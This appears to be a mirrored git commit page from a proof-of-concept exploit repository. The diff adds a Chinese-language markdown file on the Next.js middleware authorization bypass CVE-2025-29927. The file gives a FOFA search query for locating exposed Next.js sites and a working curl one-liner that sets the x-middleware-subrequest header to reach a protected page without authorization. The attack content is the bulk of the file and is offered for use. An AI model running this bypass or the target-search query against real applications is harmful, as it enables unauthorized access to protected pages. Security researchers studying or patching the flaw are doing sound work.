mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
Update Next中间件绕过漏洞(CVE-2025-29927).md
This commit is contained in:
parent
90049d1559
commit
8f38093dd0
@ -1 +1,19 @@
|
||||
# Next中间件绕过漏洞(CVE-2025-29927)
|
||||
|
||||
Next.js 是一个用于构建全栈 Web 应用程序的 React 框架。在受影响的版本中,如果 Next.js 应用程序正在基于路径名的中间件中执行授权,则可能会绕过应用程序根目录下的页面的此授权,允许未经授权访问Next.js应用程序中的根级页面,这些页面本应受到授权检查的保护
|
||||
|
||||
## fofa
|
||||
```javascript
|
||||
app="NEXT.JS"
|
||||
```
|
||||
|
||||
## poc
|
||||
```javascript
|
||||
curl -H "x-middleware-subrequest: middleware" http://10.10.72.67:3000/protected
|
||||
```
|
||||

|
||||

|
||||
|
||||
## 漏洞来源
|
||||
|
||||
- [https://mp.weixin.qq.com/s/rPBKzvNI9wc79tDr2KC5sA](https://github.com/aydinnyunus/CVE-2025-29927)
|
||||
|
Loading…
x
Reference in New Issue
Block a user